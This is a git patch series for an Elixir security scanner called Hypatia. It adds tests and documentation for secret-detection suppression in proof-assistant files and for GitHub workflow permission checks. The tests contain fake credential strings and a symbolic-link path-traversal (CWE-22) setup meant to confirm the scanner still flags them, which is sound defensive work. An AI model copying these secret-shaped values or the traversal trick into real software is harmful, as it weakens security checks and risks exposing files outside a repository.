b/test/rules/cicd_repo_requirements_test.exs index f9c0c2a3..9a610447 100644 --- a/test/rules/cicd_repo_requirements_test.exs +++ b/test/rules/cicd_repo_requirements_test.exs @@ -43,6 +43,24 @@ defmodule Hypatia.Rules.CicdRepoRequirementsTest do File.rm_rf!(repo) end + test "without a repo_path, a listed SECURITY.adoc satisfies it" do + missing = + %{visibility: "public", has_deps: false, files: ["SECURITY.adoc"]} + |> CicdRules.check_repo_requirements() + |> Enum.map(& &1.missing) + + refute "SECURITY.md" in missing + end + + test "without a repo_path, an unrelated listed file does not satisfy it" do + missing = + %{visibility: "public", has_deps: false, files: ["README.adoc"]} + |> CicdRules.check_repo_requirements() + |> Enum.map(& &1.missing) + + assert "SECURITY.md" in missing + end + test "a non-document requirement is not widened to other extensions" do repo = repo_with([".github/workflows/scorecard.adoc"]) assert ".github/workflows/scorecard.yml" in missing(repo) diff --git a/test/scanner_suppression_test.exs b/test/scanner_suppression_test.exs index a722309a..bd977189 100644 --- a/test/scanner_suppression_test.exs +++ b/test/scanner_suppression_test.exs @@ -646,17 +646,53 @@ defmodule Hypatia.ScannerSuppressionTest do end end - describe "proof_source_ambiguous_label?/2 (absolute-zero OND.thy)" do - test "generic labels are dropped in proof sources" do - assert ScannerSuppression.proof_source_ambiguous_label?("Generic secret", "proofs/OND.thy") - assert ScannerSuppression.proof_source_ambiguous_label?("Password", "src/A.lagda.md") - assert ScannerSuppression.proof_source_ambiguous_label?("Generic API key", "Foo.v") + describe "proof_source_ambiguous_label?/3 (absolute-zero OND.thy)" do + test "generic labels on a named proof fact are dropped in proof sources" do + assert ScannerSuppression.proof_source_ambiguous_label?( + "Generic secret", + "proofs/OND.thy", + ~s|lemma inj_secret: "x = y"| + ) + + assert ScannerSuppression.proof_source_ambiguous_label?( + "Password", + "src/A.lagda.md", + ~s| have password: "p \\ q"| + ) end test "unforgeable labels and non-proof files still fire" do - refute ScannerSuppression.proof_source_ambiguous_label?("GitHub PAT", "proofs/OND.thy") - refute ScannerSuppression.proof_source_ambiguous_label?("Generic secret", "config.exs") - refute ScannerSuppression.proof_source_ambiguous_label?("Generic secret", "README.md") + fact = ~s|lemma inj_secret: "x = y"| + + refute ScannerSuppression.proof_source_ambiguous_label?( + "GitHub PAT", + "proofs/OND.thy", + fact + ) + + refute ScannerSuppression.proof_source_ambiguous_label?( + "Generic secret", + "config.exs", + fact + ) + + refute ScannerSuppression.proof_source_ambiguous_label?("Generic secret", "README.md", fact) + end + + # CodeRabbit on #883: an extension gate alone let a real credential in a + # proof file through. Only the named-fact shape is suppressed. + test "an assignment-shaped credential in a proof source still fires" do + refute ScannerSuppression.proof_source_ambiguous_label?( + "Password", + "A.lean", + ~s|password = "hunter2"| + ) + + refute ScannerSuppression.proof_source_ambiguous_label?( + "Generic secret", + "proofs/OND.thy", + ~s|secret := "sk-live-abc123"| + ) end end end diff --git a/test/workflow_hardening_test.exs b/test/workflow_hardening_test.exs index 144af9ee..fb51b0dd 100644 --- a/test/workflow_hardening_test.exs +++ b/test/workflow_hardening_test.exs @@ -568,6 +568,99 @@ defmodule Hypatia.Rules.WorkflowHardeningTest do assert f.severity == :high File.rm_rf!(repo) end + + # CodeRabbit on #883: relative commands run in the effective + # working directory, not the repo root. + defp scripts_dir_repo(steps_yaml, defaults_yaml \\ "") do + repo = + create_repo_with_workflow(""" + name: Wiki Sync + permissions: + contents: write + #{defaults_yaml} + jobs: + sync: + runs-on: ubuntu-latest + #{steps_yaml} + """) + + File.mkdir_p!(Path.join(repo, "scripts")) + File.write!(Path.join(repo, "scripts/wiki-sync.sh"), "git push origin HEAD\n") + repo + end + + test "a step-level working-directory is honoured" do + repo = + scripts_dir_repo(""" + steps: + - working-directory: scripts + run: bash wiki-sync.sh + """) + + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + refute f.reason =~ "safe to narrow" + assert f.severity == :warn + File.rm_rf!(repo) + end + + test "an inherited defaults.run.working-directory is honoured" do + repo = + scripts_dir_repo( + """ + steps: + - run: ./wiki-sync.sh + """, + """ + defaults: + run: + working-directory: ./scripts + """ + ) + + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + refute f.reason =~ "safe to narrow" + File.rm_rf!(repo) + end + + test "an in-repo script that cannot be found is never called safe to narrow" do + repo = wiki_sync_repo("echo hello\n", "bash ci/release.sh") + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.severity == :warn + assert f.reason =~ "ci/release.sh" + refute f.reason =~ "safe to narrow" + File.rm_rf!(repo) + end + + # CodeRabbit on #883 (CWE-22): File.regular?/1 follows links, so a linked + # script or parent directory would read outside the repository. + test "a symbolic-linked script is not read" do + outside = Path.join(@tmp_dir, "wh_outside_#{System.unique_integer([:positive])}.sh") + File.write!(outside, "git push origin HEAD\n") + repo = wiki_sync_repo("echo hello\n", "bash scripts/linked.sh") + File.ln_s!(outside, Path.join(repo, "scripts/linked.sh")) + + assert WorkflowHardening.with_local_scripts("bash scripts/linked.sh", repo) == + "bash scripts/linked.sh" + + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.reason =~ "symbolic link" + File.rm_rf!(repo) + File.rm!(outside) + end + + test "a script under a symbolic-linked parent directory is not read" do + outside = Path.join(@tmp_dir, "wh_outside_dir_#{System.unique_integer([:positive])}") + File.mkdir_p!(outside) + File.write!(Path.join(outside, "evil.sh"), "git push origin HEAD\n") + repo = wiki_sync_repo("echo hello\n", "bash linked/evil.sh") + File.ln_s!(outside, Path.join(repo, "linked")) + + assert WorkflowHardening.with_local_scripts("bash linked/evil.sh", repo) == + "bash linked/evil.sh" + + File.rm_rf!(repo) + File.rm_rf!(outside) + end end describe "wh002_excessive_permissions/1 — three probes, not one" do From e5d6aff3385ea4342dec67712f220fb43f4eb5f0 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 16:21:02 +0100 Subject: [PATCH 16/17] docs(suppression): keep the proof-fact doc example out of secret shape MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The @doc example `lemma inj_secret: "…"` is itself the `secret: "…"` shape, and doc strings are not comments, so Hypatia's own scan raised a new Generic-secret warning on #883. Use a `: ""` placeholder. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/hypatia/scanner_suppression.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index 5980eec6..75c15b1c 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -370,7 +370,7 @@ defmodule Hypatia.ScannerSuppression do @doc """ Return true when `label` is form-ambiguous, `file` is a proof-assistant source (`.thy`, `.v`, `.agda`, `.lean`, `.idr`, and their literate forms) - and `line` is a named proof declaration (`lemma inj_secret: "…"`). + and `line` is a named proof declaration (`lemma : ""`). """ def proof_source_ambiguous_label?(label, file, line) when is_binary(label) and is_binary(file) and is_binary(line) do From 87e55e49320783e6870bc4267a491394d114e029 Mon Sep 17 00:00:00 2001 From: "coderabbitai[bot]" <136622811+coderabbitai[bot]@users.noreply.github.com> Date: Wed, 30 Sep 2026 22:26:20 +0000 Subject: [PATCH 17/17] docs(scanner): clarify suppression and workflow rule behavior --- lib/hypatia/scanner_suppression.ex | 10 ++++-- lib/rules/cicd_rules.ex | 4 +++ lib/rules/research_extensions.ex | 14 +++++--- lib/rules/workflow_hardening.ex | 54 +++++++++++++++++++----------- 4 files changed, 56 insertions(+), 26 deletions(-) diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index 75c15b1c..8e09c2b5 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -368,9 +368,13 @@ defmodule Hypatia.ScannerSuppression do @proof_named_fact ~r/^\s*(?:lemma|theorem|corollary|proposition|schematic_goal|definition|abbreviation|fun|function|primrec|inductive|assumes|shows|and|have|show|hence|thus|obtain|note)\s+[A-Za-z_][\w']*\s*:\s*"/ @doc """ - Return true when `label` is form-ambiguous, `file` is a proof-assistant - source (`.thy`, `.v`, `.agda`, `.lean`, `.idr`, and their literate forms) - and `line` is a named proof declaration (`lemma : ""`). + Return true when `label` is `"Generic API key"`, `"Generic secret"` or + `"Password"`, `file` ends in `.thy`, `.v`, `.agda`, `.lagda`, `.lagda.md`, + `.lean`, `.idr` or `.lidr`, and `line` starts with a recognised named proof + declaration (`lemma : ""`), allowing leading whitespace. + + Return false for assignments, other labels or extensions, or non-binary + arguments. This predicate does not read the file. """ def proof_source_ambiguous_label?(label, file, line) when is_binary(label) and is_binary(file) and is_binary(line) do diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index ecb33c03..829780e9 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -79,6 +79,10 @@ defmodule Hypatia.Rules.CicdRules do markup of it, in the root, `.github/` or `docs/`. The single source of truth for "is this policy document present" — the Scorecard ingestor's Security-Policy check delegates here rather than keeping its own list. + + A `.md`, `.markdown`, `.adoc` or `.rst` extension is replaced with each of + those extensions. Other extensions are kept unchanged. Candidate paths + are returned without checking whether they exist. """ def policy_file_candidates(file) do for name <- markup_variants(file), dir <- ["", ".github", "docs"] do diff --git a/lib/rules/research_extensions.ex b/lib/rules/research_extensions.ex index 6f3bcda2..3c0c6e51 100644 --- a/lib/rules/research_extensions.ex +++ b/lib/rules/research_extensions.ex @@ -812,14 +812,20 @@ defmodule Hypatia.Rules.ResearchExtensions do # ─── RE008: spoofable bot-identity gate ────────────────────────────── @doc """ - RE008: A conditional uses `github.actor == 'dependabot[bot]'` (or - any other bot login) as a trust gate. `github.actor` is the user - *who triggered the run*, not the PR author — on - `pull_request_target` from a fork the attacker controls the value. + RE008: Find `github.actor` comparisons using `==` or `!=` with a quoted + bot login ending in `[bot]` in workflow text. Provenance: zizmor `bot-conditions` + Koishybayev et al. (USENIX Security 2022). + Suppress a match when the same line contains an `&&`-separated equality + between `github.event.pull_request.user.login` and the same bot login, + with no `||` or logical `!` (`!=` is allowed). Expression wrappers and + parentheses around that equality are accepted. + + Return one finding per remaining match, with a repo-relative file path + and a one-based line number in `detail.line`, or `[]` when none remain. Severity: `:critical`. Action: `:report`. + Raises `File.Error` if workflow directory listing or file reading fails. """ def re008_spoofable_bot_gate(repo_path) do # github.actor compared to any bot-identity string. Catch both diff --git a/lib/rules/workflow_hardening.ex b/lib/rules/workflow_hardening.ex index be3e5846..2a2b92f3 100644 --- a/lib/rules/workflow_hardening.ex +++ b/lib/rules/workflow_hardening.ex @@ -199,10 +199,20 @@ defmodule Hypatia.Rules.WorkflowHardening do # ─── WH002: Excessive workflow permissions ────────────────────────── @doc """ - WH002: Workflow has no top-level `permissions:` block at all, OR has - `permissions: write-all`, OR has top-level `contents: write`. Per Cassel + WH002: Workflow has no `permissions:` declaration at any level, OR has + top-level `permissions: write-all`, `write-all: true` in a top-level + permissions block, or top-level `contents: write`. Per Cassel et al. 2024, ~74% of public workflows are at the default (write-all-equivalent for many scopes). This catches Scorecard TokenPermissionsID alerts. + + Return a list of findings with repo-relative file paths. Missing permissions + produce `:warn`; write-all grants produce `:high`. For `contents: write`, + scan the workflow and referenced local scripts: detected writes or unresolved + script references produce `:warn`, otherwise `:high`. Return `[]` when no + workflow matches. Job-level permissions alone do not produce a finding. + + Raises `File.Error` if workflow directory listing, workflow reading or + reading a selected local script fails. """ def wh002_excessive_permissions(repo_path) do repo_path @@ -301,22 +311,24 @@ defmodule Hypatia.Rules.WorkflowHardening do @working_directory ~r/^\s*working-directory:\s*["']?([^"'\s#$]+)["']?\s*(?:#.*)?$/m @doc """ - Append the text of repo-local shell scripts the workflow invokes, so write - detection sees operations performed one call away. Returns `%{content:, - unresolved:}` where `unresolved` lists in-repo references that could not be - read — missing, or reached through a symbolic link. - - A reference is resolved against the repo root and against every literal - `working-directory:` in the workflow (CodeRabbit on #883: a step with - `working-directory: scripts` running `bash wiki-sync.sh` reads - `scripts/wiki-sync.sh`). Taking the union rather than pairing each `run:` - with its own directory can only find MORE writes, which moves WH002 away - from "safe to narrow", never towards it. - - Nothing outside the repo is read: a candidate must expand under the root - and no path component below the root may be a symbolic link (`File.regular?` - follows links, so a linked script or parent directory would otherwise read - an arbitrary file). + Append each selected local shell script's text once to `content`, separated + by newlines. Return `%{content: combined_text, unresolved: references}`. + References ending in `.sh` or `.bash` are recognised anywhere in the input + text, including comments; scripts are not executed or scanned recursively. + + Resolve references against the repo root and every recognised literal + `working-directory:` in the workflow. For example, `working-directory: scripts` + with `bash wiki-sync.sh` selects `scripts/wiki-sync.sh`. All matching bases + are considered, without pairing references with individual steps. + + Candidates must expand beneath the repo root and have no symbolic links + below that root. Missing paths, non-regular files and paths whose metadata + cannot be read are rejected. `unresolved` contains each reference with + in-repo candidates but no accepted candidate, in first-occurrence order. + References whose candidates all escape the repo are ignored. + + Raises `File.Error` if reading an accepted script fails; this error is not + converted into an unresolved reference. """ def local_script_scan(content, repo_path) when is_binary(content) do root = Path.expand(repo_path) @@ -357,7 +369,11 @@ defmodule Hypatia.Rules.WorkflowHardening do %{content: Enum.join([content | texts], "\n"), unresolved: Enum.reverse(unresolved)} end - @doc "Workflow text plus the text of every readable repo-local script it calls." + @doc """ + Return the combined text from `local_script_scan/2`, discarding its unresolved + references. Uses the same reference selection and propagates `File.Error` + if reading a selected script fails. + """ def with_local_scripts(content, repo_path) when is_binary(content) do local_script_scan(content, repo_path).content end